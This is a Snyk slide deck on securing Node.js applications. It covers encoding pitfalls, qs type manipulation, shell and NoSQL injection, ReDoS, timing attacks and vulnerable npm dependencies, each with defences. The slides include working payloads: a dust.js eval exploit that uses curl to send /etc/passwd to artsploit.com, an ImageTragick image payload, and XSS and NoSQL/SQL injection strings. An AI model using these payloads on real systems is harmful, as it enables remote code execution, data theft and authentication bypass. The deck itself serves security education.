Post on 15-Apr-2017
snyk.io
Secure Node CodeGuy Podjarny
@guypod Danny Grander
@grander
snyk.io
Guy• Guy Podjarny, @guypod on Twitter
• CEO & Co-founder at Snyk
• History: • Cyber Security part of Israel Defense Forces
• First Web App Firewall (AppShield), Dynamic/Static Tester (AppScan)
• Security: Worked in Sanctum -> Watchfire -> IBM
• Performance: Founded Blaze -> CTO @Akamai
• O’Reilly author, speaker
snyk.io
Danny• Danny Grander, @grander on Twitter
• Chief Research Officer & Co-founder at Snyk
• History: • Cyber Security part of Israel Defense Forces
• Startup work on embedded security and crypto
• CTO at Gita, security consultancy (acquired by Verint)
• Speaker, blogger
snyk.io
Agenda• Intro & Setup
• Insecure Code • Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Dependencies
• Summary
snyk.io
Setup
• Goof: https://github.com/Snyk/goof • Exploits under https://github.com/Snyk/goof/exploits/
• Optional: install locally (requires Node & npm)$ git clone https://github.com/Snyk/goof$ cd goof $ npm install$ npm start # will run on localhost:3001
snyk.io
Node.js
snyk.io
3.5M Node.js Developersgrowing 100% year over year
snyk.io
JS top used language
snyk.io
npm growth
snyk.io
Growing in Enterprise
snyk.io
Key Strength 1:Same lang on client & server
snyk.io
Key Strength 2:Naturally scalable
snyk.io
Key Strength 3:Easy & fast to start
snyk.io
Node.js foundationSome history…
snyk.io
Node.js Security
snyk.io
Good Node.js core security
snyk.io
Security a top priorityfor Node.js foundation
snyk.io
Low EcosystemSecurity Awareness
outside of core
snyk.io
Most vulns have no CVE
snyk.io
Not enough researchAt least we have ChALkeR…
snyk.io
Not enough security dialogue
hence this session!
snyk.io
Agenda• Intro & Setup
• Insecure Code • Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Dependencies
• Summary
snyk.io
Encoding
snyk.io
URL Encoding
snyk.io
HTML Entities
snyk.io
Insecure Default Config
snyk.io
Data URI
snyk.io
Template engine escaping
snyk.io
{{{val}}} vs {{val}}
snyk.io
Crazy Encoding
snyk.io
How to defend?
snyk.io
It’s complicated.Lots of variants, ever shifting
snyk.io
Use FrameworksNot perfect, but typically better than custom code
snyk.io
Frameworks are generic.You can be specific.
Use application knowledge to explicitly specify what’s allowed
snyk.io
Critique default configAnd use the right framework functions
snyk.io
Building your own?Consider all encodings
Missing one variant is all it takes…
snyk.io
Agenda• Intro & Setup
• Insecure Code • Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Dependencies
• Summary
snyk.io
Questions?
snyk.io
Type Manipulation
snyk.io
qs: query string parser
snyk.io
28M downloads/monthNot officially part of Node, but de-facto standard
snyk.io
qs.parse(‘a=foo’)
{ a: “foo” }
snyk.io
qs.parse(‘a=foo&b=bar’)
{ a: “foo”, b: “bar” }
snyk.io
qs.parse(‘a=foo&a=bar’)
?
snyk.io
qs.parse(‘a=foo&a=bar’)
{ a: [ “foo”, “bar” ] }
snyk.io
qs.parse(‘a[]=foo’)
{ a: [ “foo” ] }
snyk.io
qs.parse(‘a[1]=foo&a[2]=bar’)
{ a: [ “foo”, “bar” ] }
snyk.io
qs.parse(‘a[1]=foo&a[8]=bar’)
{ a: [ “foo”, “bar” ] }
snyk.io
Input Type not guaranteedBut that’s not always intuitive…
snyk.io
Example: NunjucksClient Side JS execution
snyk.io
Mozilla templating library3,500 stars, 320 forks, 150k downloads/month
snyk.io
Sanitization Logic
nunjucks.renderString( 'Hello {{ username }}’, {username: '<s>Matt</s>' });
Hello <s>Matt<s>
snyk.io
Sanitization Code
escape: function(str) { if(typeof str === 'string') { return r.markSafe(lib.escape(str)); } return str; }
snyk.io
Sanitization Workaround
nunjucks.renderString( 'Hello {{ username }}’, {username: [‘<s>Matt</s>’] });
Hello <s>Matt</s>
snyk.io
qs + array = XSS
nunjucks.renderString( 'Hello {{ username }}’, {username: [‘<script>alert(1)</script>’] });
XSS: <script>alert(1)</script>matt
http://host/?name[]=<script>alert(1)</script>matt
snyk.io
Fixed Sanitization Codeescape: function(str) { if(str == null) str = ''; if(str instanceof r.SafeString) { return str; } return r.markSafe(lib.escape(str.toString())); },
Always returns a string
snyk.io
Example: dust.jsServer side JS execution
snyk.io
LinkedIn Templating Library2,400 stars, 406 forks, 77k downloads/month
snyk.io
Discovered on PaypalReported responsibly: https://artsploit.blogspot.co.il/2016/08/pprce2.html
snyk.io
“if” uses eval"if": function( chunk, context, bodies, params ){ var body = bodies.block, skip = bodies['else']; if( params && params.cond){ var cond = params.cond; cond = dust.helpers.tap(cond, chunk, context); // eval expressions with given dust references if(eval(cond)){ if(body) { return chunk.render( bodies.block, context ); } else { _log("Missing body block in the if helper!"); return chunk; } }
snyk.io
query to eval examples
http://host/navigation?device=xxx\ eval("'xxx\' == 'desktop'");
http://host/navigation?device=mobile eval("'mobile' == 'desktop'");
http://host/navigation?device=x' eval(“‘x'' == 'desktop'");
snyk.io
Sanitizationvar HCHARS = /[&<>"']/, AMP = /&/g, LT = /</g, GT = />/g, QUOT = /\"/g, SQUOT = /\'/g;
dust.escapeHtml = function(s) { if (typeof s === 'string') { if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&').replace(LT,'<'). replace(GT,'>').replace(QUOT,'"'). replace(SQUOT, '''); }
return s; };
snyk.io
arrays not sanitized
http://host/navigation?device[]=x' eval(“'x'' == 'desktop'");
http://host/navigation?device[]=x eval("'x' == 'desktop'");
snyk.io
Paypal Exploit
http://host/navigation?device[]=x&device[]=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+artsploit.com')-'
eval("'xy'-require('child_process').exec('curl -F \"x=`cat /etc/passwd`\" artsploit.com')-'' == 'desktop'");
snyk.io
JSON
snyk.io
Example: mongooseLet’s see this on Goof
snyk.io
Buffer trippedmany top packages
mongoose, request, sequelize, ws…
snyk.io
Dealing with Buffer
snyk.io
Buffer.allocSafe()zeroes memory*
Buffer.allocUnsafe() doesn’t
* Requires Node.js 5 or newer
snyk.io
Default Buffer remainsDeprecated in Node 7
(https://nodejs.org/api/buffer.html)
snyk.io
-- zero-fill-buffers:makes Buffer(int) zero mem
Node command line flag. May break packages…
snyk.io
How to defend?
snyk.io
Validate typeDon’t assume you know what it is
snyk.io
Use Buffer.allocSafe()
snyk.io
Don’t use eval()Especially for user-provided code
snyk.io
Agenda• Intro & Setup
• Insecure Code • Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Dependencies
• Summary
snyk.io
Questions?
snyk.io
Break!
snyk.io
Agenda• Intro & Setup
• Insecure Code • Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Dependencies
• Summary
snyk.io
Injection
snyk.io
Shell Injection
snyk.io
Goof Enhancement: Images!
snyk.io
Vuln cause 1: string concatenation
snyk.io
Vuln cause 2:exec()
snyk.io
exec() vs
spawn()/execFile()
snyk.io
Example: git-ls-remote
snyk.io
Not all shell injections are in your code…
snyk.io
ImageTragick• ImageMagick:
popular image manipulation binary/library
• May 2016: Multiple RCE vulns disclosed • Trivial to exploit, highly severe, took >1 week to fix
• Primary vulnerability: • Images are declared as one format, but auto-detected as SVG
• SVG processing holds multiple remote command execution
snyk.io
Exploit.png
push graphic-context viewbox 0 0 640 480 fill 'url(https://tinyurl.com/favorites.gif"|touch "./public/tragick)' pop graphic-context
snyk.io
Exploitable on GoofFor you to try out at home…
snyk.io
Had no fix for a long while!Required limiting in code
(e.g. https://www.npmjs.com/package/imagemagick-safe)
snyk.io
OSS Binaries are a part of your app
Unpleasant, but true
snyk.io
How to defend?
snyk.io
Avoid exec()Use execFile() or spawn() instead
snyk.io
Track vulnerable binariesMore on that later…
snyk.io
NoSQL Injection
snyk.io
Classic SQL Injection
SELECT *
FROM users WHERE username = '$username' AND password = '$password'
snyk.io
username = ‘ or 1=1—
SELECT *
FROM users WHERE username = ‘’ or 1=1 --’ AND password = 'bla'
snyk.io
Goof’s admin check
db.users.find( {username: req.body.username, password: req.body.password},
function (err, users) { // TODO: handle the rest }
);
snyk.io
Exploits!
snyk.io
Legitimate Use
db.users.find( {username: "admin", password: "SuperSecretPass"},
function (err, users) { // TODO: handle the rest }
);
snyk.io
NoSQL Injection
db.users.find( {username: "admin", password: {"$gt":""}},
function (err, users) { // TODO: handle the rest }
);
snyk.io
MongoDB Querieshttps://docs.mongodb.com/v3.2/tutorial/query-documents/
snyk.io
How to defend?
snyk.io
Validate TypeSound familiar?
snyk.io
Agenda• Intro & Setup
• Insecure Code • Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Dependencies
• Summary
snyk.io
Questions?
snyk.io
Event Loop
snyk.io
Node = JavaScript = 1 thread
snyk.io
JS scales through events as opposed to threads
snyk.io
Blocking actions natively async
I/O, system calls, etc.
snyk.io
Scales great!Until a function goes wild…
Infinite loops, deep recursion, long-running algorithms …
snyk.io
Which Algorithms are used most often?
snyk.io
Regular ExpressionDenial of Service
(ReDoS)
snyk.io
Example: ms
snyk.io
Long String + Non-Linear Compute =
Outage
snyk.io
Example: moment
snyk.io
Catastrophic Backtracking
snyk.io
Regexp: /A(B|C+)*DE?/
snyk.io
Regexp: /A(B|C+)*DE?/
“ACCCCCCCCCCCCCCCCCCCCCCCCCCC” : 0.9 Seconds “ACCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 1.8 Seconds “ACCCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 3.5 Seconds “ACCCCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 7.0 Seconds
snyk.io
Short String + Very Non-Linear Compute =
Outage
snyk.io
How To Defend?
snyk.io
Prevent long running algorithms
snyk.io
Avoid nested unlimited length groupsMore reading: http://www.regular-expressions.info/catastrophic.html
snyk.io
Contain regexp input length
snyk.io
Limit execution timefor your own algorithms
snyk.io
Split & yield threadduring potentially long-running algorithms
snyk.io
Timing Attack
snyk.io
A bit more esoteric…
snyk.io
What’s a Timing Attack?
snyk.io
Spot the Problem
function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; }
snyk.io
Spot the Problem
function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; } Fails faster if first
chars mismatch
snyk.io
Worst case: Enumerate token per char
snyk.io
Constant Time Comparisonfunction isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; var mismatch = 0; for (var i = 0; i < token.length; ++i) { mismatch |= (token.charCodeAt(i) ^
ADMIN_UUID.charCodeAt(i)); } return mismatch; }
snyk.io
Constant Time Comparison
var scmp = require('scmp'); function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; return scmp(token, admin); }
snyk.io
Complex Timing Attacks
snyk.io
How To Defend?
snyk.io
Use constant time processing
to avoid leaking sensitive information
snyk.io
Agenda• Intro & Setup
• Insecure Code • Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Dependencies
• Summary
snyk.io
Questions?
snyk.io
Dependencies
snyk.io
Vulnerable Binaries
snyk.io
Track your servers wellAnd the binaries within them
snyk.io
Update quickly & frequently
snyk.io
Prevent exploits via codee.g. imagemagick-safe
snyk.io
Vulnerable Packages
snyk.io
npm is a core part ofdeveloping in Node.js
snyk.io
>350,000 packages
~6B downloads/month >65,000 publishers
npm usage Has Exploded
snyk.io
Your App
snyk.io
Your Code
Your App
snyk.io
Each Dependency Is A Security Risk
as we’ve just seen…
snyk.io
~14% of npm Packages Carry Known Vulnerabilities
~83% of Snyk users found vulns in their apps
Source: Snyk data, Oct 2016
snyk.io
How do I protect myself?
snyk.io
Back to Goof…
snyk.io
Securing OSS Packages• Find vulnerabilities
• Be sure to test ALL your applications
• Fix vulnerabilities • Upgrade when possible, patch when needed
• Prevent adding vulnerable module • Break the build, test in pull requests
• Respond quickly to new vulns • Track vuln DBs, or use Snyk! </shameless plug>
snyk.io
Not just Node/npmImpacts Open Source Packages, wherever they are
snyk.io
Agenda• Intro & Setup
• Insecure Code • Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Dependencies
• Summary
snyk.io
There’s A LOT we didn’t cover
• HTTPS
• Security Headers
• Common misconfigurations
• Node.js runtime security
• Continous Security in CI/CD
• Happy to take questions on those…
snyk.io
Summary
• Node.js is awesome, and here to stay
• Security dialogue too low, needs your attention
• Educate & beware insecure code • Both Node.js specific and general app sec issues
• Setup tools to handle insecure dependencies • Continuously, and across all projects
snyk.io
Node.js Is Awesome
snyk.io
Node.js Is AwesomePlease Enjoy Responsibly
Questions?
Guy Podjarny @guypod
Danny Grander @grander